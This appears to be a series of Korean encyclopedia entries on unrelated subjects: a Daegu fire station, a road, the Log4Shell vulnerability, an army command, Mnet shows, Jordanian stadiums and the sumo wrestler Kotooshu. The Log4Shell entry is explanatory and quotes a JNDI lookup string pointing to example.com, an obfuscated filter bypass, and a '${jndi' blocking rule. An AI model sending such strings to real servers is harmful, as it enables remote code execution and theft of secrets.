대구강북소방서는 6곳의 119안전센터와 1개의 구조대를 산하에 두고 있다.
금감로
금감로(Geumgam-ro)는 경상북도 김천시 지좌동 감천삼거리 와 상주군 금수강산면 후평삼거리를 잇는 경상북도의 도로이다.
Log4Shell
Log4Shell 또는 CVE-2021-44228는 저명한 자바 로깅 프레임워크 Log4j의 제로 데이 임의 코드 실행 취약점이다. 이 취약점은 알리바바의 클라우드 보안팀에 의해 2021년 11월 24일 아파치에 비공개로 전달되었으며 2021년 12월 9일 대중에게 공개되었다.
이 취약점은 LDAP과 JNDI 요청을 검사하지 않는 Log4j의 특징을 이용하여, 공격자가 임의의 자바 코드를 서버 또는 기타 컴퓨터에서 실행할 수 있게 한다. 영향을 받는 서비스에는 아마존 AWS, 클라우드플레어, 아이클라우드, 마인크래프트 자바 에디션, 스팀, 텐센트 QQ가 포함된다. 루나섹(LunaSec)은 이 취약점을 "파멸적 부분의 설계적 실패"로, Tenable은 "지난 10년 이내의 가장 심각한, 단일로서는 최대의 취약점"으로 특징을 지었다. Log4j 프로젝트를 맡는 아파치 소프트웨어 재단은 Log4Shell에 CVSS 점수 최고점인 10점을 부여하였다.
Log4Shell 배경
Log4j는 소프트웨어 개발자가 자신의 애플리케이션 안에 다양한 데이터의 로그 기록을 남길 수 있게 하는 오픈 소스 로깅 프레임워크이다. 이 데이터는 사용자 입력을 포함할 수도 있다. 자바 애플리케이션, 특히 기업용 소프트웨어 전반에 사용된다. 2001년 Ceki Gülcü가 처음 개발한 Log4j는 현재 아파치 소프트웨어 재단 프로젝트의 하나인 아파치 로깅 서비스의 일부이다.
Log4Shell 동작
JNDI는 프로그램 런타임 시 지정된 데이터 경로의 자바 오브젝트 검색을 허용한다. JNDI는 여러 디렉터리 인터페이스를 지렛대처럼 활용할 수 있으며 각 인터페이스는 각기 다른 파일 검색 스킴을 제공한다. 이 인터페이스들 중에는 자바로 개발되지 않은 프로토콜의 하나인 LDAP이 있으며 이는 로컬이든 인터넷 어느 곳에서든 적절한 서버로부터 오브젝트 데이터를 URL로 받아온다.
Log4Shell 동작
기본 구성에서 문자열 로그를 기록할 때 Log4j 2는 ${prefix:name} 형태의 식에 문자열 치환을 수행한다. 예를 들어, Text: ${java:version}는 Text: Java version 1.7.0_67로 변환될 수 있다. 인식되는 식들 중에 ${jndi:<lookup>}가 있다. LDAP을 통해 lookup을 지정함으로써 임의의 URL을 조회하고 자바 오브젝트 데이터로 로드할 수 있다. 예를 들어 ${jndi:ldap://example.com/file}는 인터넷에 연결되어 있다면 해당 URL로부터 데이터를 로드하게 된다. 로깅이 되는 문자열을 입력함으로써 공격자는 퍼블릭 URL에서 호스팅되는 악성 코드를 로드하고 실행할 수 있다. 데이터의 실행을 비활성화해 놓았더라도 공격자는 여전히 기밀 환경 변수 등의 데이터를 (URL 배치를 통해) 받아올 수 있으며 여기서 치환을 거쳐 공격자의 서버로 송신할 수 있다.
HTTP 요청이 자주 로깅되기 때문에 공통 공격 벡터는 악성 문자열을 HTTP 요청 URL이나 흔히 로깅되는 HTTP 헤더(예: User-Agent)에 배치시킨다. 초기의 완화 방법에는 "${jndi" 등의 잠재적으로 악성일 가능성이 높은 콘텐츠를 포함하는 모든 요청을 차단하는 것이 포함되었다. 아무렇지 않게 수행한 검색은 요청을 모호하게 만듦으로써 우회가 가능하다: 예를 들어 ${${lower:j}ndi는 문자 j에 소문자 처리를 수행한 이후 JNDI 룩업으로 변환된다. 입력이 즉시 로깅되지 않더라도 나중에 내부 처리 중에 로깅한 다음에 콘텐츠의 실행이 가능할 수 있다.
Log4Shell 완화
이 취약점의 픽스가 취약점이 공표되기 3일 전 2021년 12월 6일 Log4j 버전 2.15.0-rc1에서 출시되었다. 이 픽스에는 여러 시스템 속성을 사용하여 구성이 가능한 룩업(lookup)에 사용될 수 있는 서버와 프로토콜을 제한하는 것이 포함되었다. 이는 log4j2.formatMsgNoLookups 시스템 속성을 대체하였다. 2.10.0 이후의 과거 버전에서는 취약점을 완화하는데 해당 속성을 true로 설정하는 것이 권장된다. 2.10.0 이전 버전의 경우 org.apache.logging.log4j.core.lookup.JndiLookup 클래스를 클래스패스에서 제거해야 한다.
게다가 JNDI를 사용하는 모든 기능은 2.15.1 이상부터 기본적으로 비활성화된다.
새 버전의 자바 런타임 환경(JRE) 또한 원격 코드의 로드를 기본적으로 차단함으로써 이 취약점을 완화시킨다. 다만 다른 공격 벡터가 여전히 특정 애플리케이션에 존재한다. 내장된 자바 패키지에서 취약한 log4j 버전의 이용을 검출하는데 도움을 주는 여러 방식과 도구가 게시되었다.
Log4Shell 반응과 영향
미국에서 사이버보안 및 인프라 보안국(CISA)의 감독 젠 이스털리(Jen Easterly)는 이 취약점을 심각한 것으로 보고 벤더들에게 소프트웨어 업데이트를 우선할 것을 충고했다. 캐나다 사이버 보안 센터(CCCS)는 단체들에게 즉각적인 조치를 취할 것을 주문했다. 독일의 연방정보기술보안청(Bundesamt für Sicherheit in der Informationstechnik, BSI)은 이 취약점을 기관 최고의 위협 수준으로 지정하였고 이를 "극히 심각한 위협적 상황"으로 언급하였다. 여러 공격들이 이미 성공적이었음이 밝혀졌고 취약점의 정도가 조사하기 힘든 상황이라고 보고되었다.
클라우드플레어의 CEO 매튜 프린스(Matthew Prince)에 따르면 이 취약점의 이용과 테스트의 증거가 적어도 12월 1일로 거슬러 올라가며 이는 취약점이 공개된지 9일 앞선 것이다. 사이버보안 기업 그레이노이즈에 따르면 여러 IP 주소들이 웹사이트들을 스크랩하여 취약점이 있는 서버를 물색하였다. 캐나다 국세청은 취약점을 이해한 뒤 일시적으로 온라인 서비스를 종료하였고 퀘벡 정부는 예방 조치의 일환으로서 정부 웹사이트 중 약 4,000개를 폐쇄하였다.
Log4Shell 반응과 영향
시스템 관리자들은 이 상황을 조사하고 라이브러리를 업데이트하거나 시스템 속성을 이용하는 룩업을 비활성화함으로써 가능한 조속히 완화 조치를 단행할 것을 충고받았다.
제56포병사령부
제56포병사령부(56th Artillery Command)는 미국 유럽-아프리카 육군의 전구 야전포병사령부이다.
제56포병사령부 역사
2021년 8월 12일, 미국 유럽-아프리카 육군이 같은해 10월 1일에 제56포병사령부를 재소집한다고 발표하였다. 2성 전구 화력사령부로서 마인츠카스텔에 본부를 두었다.
제56포병사령부 부대
제2다층영역태스크포스(2nd Multi-Domain Task Force)
본부부대(Headquarters Element)
첩보, 사이버스페이스, 전자전 및 우주분견대(Intelligence, Cyberspace, Electronic Warfare and Space Detachment)
여단지원중대(Brigade Support Company)
퀸덤 2
《퀸덤 2》은 2022년 3월 31일부터 2022년 6월 2일까지 방영중인 텔레비전 프로그램이다.
퀸덤 2 방송 개요
2022년, 글로벌이 선택한 최고의 걸그룹은 누가 될 것인가? K-POP 대표 걸그룹들의 글로벌 동시 컴백 전쟁!
스트릿 맨 파이터
《스트릿 맨 파이터》(Street Man Fighter)는 2022년 8월 23일부터 2022년 11월 8일까지 엠넷에서 방송된 남성 댄서 크루 서바이벌 프로그램이다. 2021년에 방송된 엠넷의 여성 댄서 크루 서바이벌 프로그램인 《스트릿 우먼 파이터》의 남성 버전이다.
스트릿 맨 파이터 최종 성적 발표
1위 저스트절크.
2위 위댐보이즈.
3위 엠비셔스.
4위 뱅크투브라더스.
스트릿 맨 파이터 에피소드 목록
2022년 여름, 총 5천만원의 상금과 최고급 전기 세단, 금융 플랫폼의 광고모델을 위해 사활을 건 남자들의 춤 싸움이 펼쳐졌다. 스맨파 1화에서는 앰비셔스의 노태현과 프라임킹즈의 리더 트릭스가 노 리스펙 약자 지목 배틀의 시작을 열었다. 이어서 위댐보이즈와 저스트절크, 원밀리언까지 치열한 배틀이 이어졌다. 최약체 크루를 뽑기 위한 스맨파 1화의 여정은 위댐보이즈의 바타가 저스트절크의 리더 영제이를 지목하면서 끝이난다.
프린스 하심 스타디움
프린스 하심 경기장(아랍어: ملعب الأمير هاشم, 영어: Prince Hashim Stadium)은 요르단 아르람타에 있는 다목적 경기장이다. 현재는 주로 알람타 SC 축구 경기에 사용된다. 경기장에는 5,000명을 수용할 수 있다.
알하산 스타디움
알하산 스타디움(아랍어: ستاد الحسن, 영어: Al-Hassan Stadium)은 요르단 이르비드에 있는 다목적 경기장이다. 현재는 주로 알후세인, 알사리 SC 축구 경기에 사용된다. 경기장에는 12,000명을 수용할 수 있다.
고토오슈 가쓰노리
고토오슈 가쓰노리(일본어: 琴欧洲 勝紀, 1983년 2월 19일 ~ )는 불가리아 출신의 전직 스모 선수(리키시)이다. 일본어 본명은 안도 칼로얀(일본어: 安藤 カロヤン 안도 카로얀[*])이며 불가리아어 본명은 칼로얀 스테파노프 마흘랴노프(불가리아어: Калоян Стефанов Махлянов)이다.
고토오슈는 원래 불가리아에서 레슬링 선수로 활동하다가 일본 방문을 계기로 스모로 전향했다. 2002년에 프로 스모 선수로 데뷔하여 2년 만에 상위 등급에 진출했다. 2005년에는 스모에서 요코즈나에 이어 2번째로 높은 등급인 오제키에 올랐고 2008년 5월 24일에는 유럽 출신 스모 선수로는 최초로 오즈모에서 우승을 차지하는 영예를 안았다.
고토오슈는 2013년 11월까지 47차례의 스모 대회에 출전 기록을 세우면서 역사상 가장 오랫동안 활동한 오제키 선수 가운데 한 명이 되었다. 고토오슈는 2014년 1월에 일본 스모 협회의 사장(師匠) 자격 요건인 일본 국적을 취득했고 2014년 3월에 열린 대회에서 은퇴를 선언했다. 2017년 4월에는 자신의 스모 도장인 나루토베야를 열었다.
고토오슈 가쓰노리 어린 시절과 스모 입문
마흘랴노프는 불가리아 벨리코터르노보주 벨리코터르노보 근교에 위치한 줄류니차에서 태어났다. 마흘랴노프는 처음에 아버지의 지도를 받으면서 그레코로만형 레슬링 선수로 활동했고 14세 시절에는 유럽 레슬링 선수권 대회에서 우승을 차지하기도 했다. 마흘랴노프는 불가리아 국립 스포츠 아카데미에 합격하면서 레슬링을 전공했다. 마흘랴노프는 오스트레일리아 시드니에서 열린 2000년 하계 올림픽에서 불가리아 대표로 출전하기를 희망했지만 몸무게가 120kg을 넘어서자 레슬링 무대에서 은퇴했고 일본 방문을 계기로 스모로 전향하게 된다. 마흘랴노프는 지바현 마쓰도시에 위치한 스모 도장인 사도가타케베야(일본어: 佐渡ヶ嶽部屋)에 기용되었는데 도장 주인은 부모에게 돈을 보내는 마흘랴노프의 효심에 깊은 인상을 받았다고 한다.
고토오슈 가쓰노리 어린 시절과 스모 입문
마흘랴노프는 2002년 11월에 스모 대회의 최하위 리그인 조노쿠치에서 프로 선수로 데뷔했고 고토오슈 가쓰노리(일본어: 琴欧洲 勝紀)라는 시코나를 부여받았다. '고토'와 '가쓰'는 그의 사부인 고토자쿠라 마사카쓰(일본어: 琴櫻 傑將)에서 따온 것이고 '노리'는 고토자쿠라 마사카쓰의 본명인 가마타니 노리오(일본어: 鎌谷 紀雄)에서 따온 것이라고 한다. 또한 '오슈'는 일본어로 유럽을 뜻한다. 고토오슈는 선수 생활 초반에 주료에서 가치코시를 기록했고 하위 5개 리그에서 71승 15패를 기록하면서 마쿠우치로 승격되었다. 고토오슈는 2004년 9월에 프로 데뷔 이후에 열린 11차례의 스모 대회를 통해 마쿠우치로 승격했는데 이는 1958년에 6개 대회 제도가 도입된 이래 가장 빠른 상승세였다.
고토오슈는 2005년 3월에 스모 대회의 최상위 리그인 오즈모에 진출하여 4개 대회 연속으로 가치코시 기록을 세웠다. 2005년 3월에는 바쇼(스모 대회)가 열리기 전에 산야쿠에서 낮은 등급인 고무스비에 올랐다. 고토오슈는 고무스비에서 1번째 마케코시(패전) 기록을 세웠고 마에가시라로 강등되었다. 그러나 2005년 5월에 열린 스모 대회에서 10승 5패를 기록하면서 다시 고무스비로 복귀했다.
고토오슈 가쓰노리 오제키 승격
고토오슈는 2005년 7월에 열린 스모 대회에서 아사쇼류 아키노리를 상대로 처음으로 우와테나게 기술을 활용하여 승리를 차지하면서 요코즈나의 24연승에 마침표를 찍었다. 또한 대회에서 준우승을 차지하여 "뛰어난 성과"를 거두었다.
고토오슈는 2005년 9월에 열린 스모 대회에서 세키와케로 승격하여 초반에 12승을 기록했고 13승 2패로 대회를 마쳤다. 2005년 11월에 열린 스모 대회에서는 11승 4패를 기록하면서 3위를 차지했는데 아사쇼류와의 대결에서도 승리를 기록했다. 고토오슈는 2005년 11월 30일에 오제키에 입단했는데 3차례의 스모 대회 출전 기록은 36승 9패였다. 고토오슈의 승격은 그의 사부였던 고토자쿠라 마사카쓰 요코즈나의 은퇴와 동시에 일어났다.
고토오슈 가쓰노리 오제키 승격
고토오슈의 오제키로 승격은 그가 프로 스모 선수로 데뷔한 이후에 열린 19차례의 스모 대회에서 이루어졌다. 비록 고토오슈가 가장 어린 오제키는 아니었지만 스모의 최하위 등급인 조노쿠치에서 스모에 입문한 선수로서는 가장 빠른 상승이었다. 고토오슈는 또한 미국 하와이주 출신인 고니시키 야소키치, 아케보노 다로, 무사시마루 고요, 몽골 출신인 아사쇼류 아키노리 다음으로 오제키 계급에 오른 5번째 비일본인 스모 선수이기도 하다.
고토오슈 가쓰노리 오제키 경력
고토오슈는 오제키로 승격된 이후에 무릎 부상으로 다소 제약을 받았다. 고토오슈는 초반에 상대 선수의 공격을 피하는 헨카 기술에 지나치게 의존한다는 비판을 받았는데 높은 등급에 있는 선수에게 걸맞는 행동이 아니었기 때문이다.
고토오슈는 2006년에 두 자릿수 점수를 3번만 기록했다. 2007년에는 단 1개도 기록하지 못했으며 자신의 순위를 유지하는 데만 충분했다. 고토오슈는 2007년 11월에 열릴 스모 대회를 앞두고 훈련하던 도중에 오른쪽 무릎이 탈구되었다. 부상 때문에 골머리를 앓은 고토오슈는 생애 처음으로 대회를 기권해야 했다. 그러나 2008년 1월에 열린 스모 대회에서 합계 9승 6패를 기록하면서 오제키 랭킹을 유지했다. 고토오슈는 2008년 3월에 열린 오사카 스모 대회 4일차에 열린 가쿠류 리키사부로와의 경기에서 왼팔을 다쳐 9일차에 기권했지만 2승에 그쳤다. 이 과정에서 고토오슈가 5월에 있을 다음 토너먼트에서 세키와케로 강등될 것이라는 추측이 있었다.
고토오슈 가쓰노리 오제키 경력
고토오슈는 2008년 5월에 열린 스모 대회에서 8승이 필요했다. 고토오슈는 11일차에 열린 아사쇼류 아키노리 요코즈나와의 경기, 12일차에 열린 하쿠호 쇼 요코즈나와의 경기에서 승리를 거두었을 정도로 12연승을 달렸다. 고토오슈는 13일차에 열린 아미니시키 류와의 경기에서 너무 쉽게 패배했다. 하지만 14일차에 열린 하루마후지 고헤이와의 경기에서 승리를 기록하면서 유럽 출신 스모 선수로는 처음으로 오즈모에서 우승을 차지하는 영예를 안았다. 고토오슈의 아버지는 관중들 속에서 아들의 승리를 목격했다고 한다. 불가리아의 게오르기 파르바노프 대통령 또한 고토오슈에게 축전을 보냈다.
고토오슈는 2차례의 스모 대회에서 9승 6패, 8승 7패의 성적을 기록하면서 요코즈나 승격에 실패했다. 2008년 10월에는 전직 스모 선수인 와카노호 도시노리로부터 돈을 받고 고의로 패배했다는 의혹을 부인했는데 고토오슈는 "저는 이러한 의혹 때문에 슬픕니다. 그것은 모두 거짓말입니다."라고 밝혔다.  와카노호는 나중에 자신의 발언을 철회했다.
고토오슈 가쓰노리 오제키 경력
고토오슈는 2009년 초반에 열린 2차례의 스모 대회에서 10승 5패를 기록했는데 이는 동료 오제키들 가운데 최고 기록이었다. 고토오슈는 2009년 5월에 9승 6패로 스모 대회를 마쳤다. 하지만 14일차에 하쿠호 쇼 요코즈나가 기록했던 33연승 행진의 막을 내렸다. 고토오슈는 2009년 7월에 유쇼의 마지막 날까지 경쟁했고 13승 2패라는 인상적인 점수로 준우승을 거두었다. 고토오슈는 그 후로 토너먼트에서 10번 이상 승리한 적이 없었다.
고토오슈는 2011년 5월에 열린 스모 대회 11일차에 무릎 부상을 이유로 스모 대회에 불참했다. 고토오슈는 7월에 열린 스모 대회에 복귀했으며 대회 10일차에서 9승 6패로 8번째 우승을 기록하면서 순위를 지켰다. 특히 이 날은 고토오슈의 동료 오제키였던 가이오 히로유키의 스모 선수 생활 마지막 경기이기도 했다. 그러나 고토오슈는 9월에 열린 스모 대회에서 초반 6일 동안에 5번의 패배를 기록하면서 다시 한 번 기권하게 된다.
고토오슈는 2012년 5월에 열린 스모 대회에서 마지막 날에 발목 인대 부상을 당하면서 기권했는데 도치오잔 유이치로에게 12승을 내줬고 2번의 마에가시라에서 하쿠호 쇼와 함께 우승 경쟁에서 탈락했다. 고토오슈의 기권이 발표되자 관중들은 야유를 보내며 불쾌감을 드러냈다. 고토오슈는 2012년 9월, 2013년 3월·9월·11월에 열린 스모 대회에도 연이어 불참했다.
고토오슈 가쓰노리 강등과 은퇴
고토오슈는 대회 2연패에 실패하면서 2014년 1월 스모 대회에 세키와케로 강등되었다. 고토오슈는 스모 역사상 4번째로 높은 47차례의 스모 대회에 출전한 오제키였다. 고토오슈가 1월 세키와케에서 최소 10승 5패의 기록을 세웠다면 즉시 오제키 순위를 되찾을 수 있었다. 그러나 1월 13일에 열린 엔도 쇼타와의 경기에서 6번째 패배를 당했다.
고토오슈는 2014년 3월에 열린 스모 대회에서 9연패를 당한 다음에 은퇴하면서 "최근 부상이 너무 많았지만 12년 넘게 최선을 다했기 때문에 후회는 없습니다."라고 밝혔다. 고토오슈는 2014년에 일본 국적을 취득하면서 자신의 이름을 안도 칼로얀(일본어: 安藤 カロヤン)으로 바꿨다. 2015년에는 일본 스모 협회로부터 나루토(일본어: 鳴戸)라는 도시요리(일본어: 年寄) 자격을 취득했고 사도가타케 도장에서 코치로 데뷔하게 된다.
고토오슈 가쓰노리 나루토 도장
고토오슈는 2017년 4월에 나루토베야(일본어: 鳴戸部屋) 도장을 열었다. 고토오슈는 유럽 출신 스모 선수로는 처음이자 일본 밖에서 태어난 스모 선수로는 3번째로 스모 도장을 운영했다. 사장(師匠) 직함은 나루토 가쓰노리(일본어: 鳴戸 勝紀)이다. 나루토베야는 20세였던 불가리아 주니어 레슬링 선수권 대회 챔피언을 포함한 3명의 선수로 시작했다.
고토오슈는 현역 은퇴 이후에 일본체육대학에서 트레이닝 이론을 전공했다. 고토오슈는 불가리아와 일본의 대학교에서 스모 선수로 활동한 경험과 학문을 바탕으로 자신만의 트레이닝 방법을 개발하려고 했다.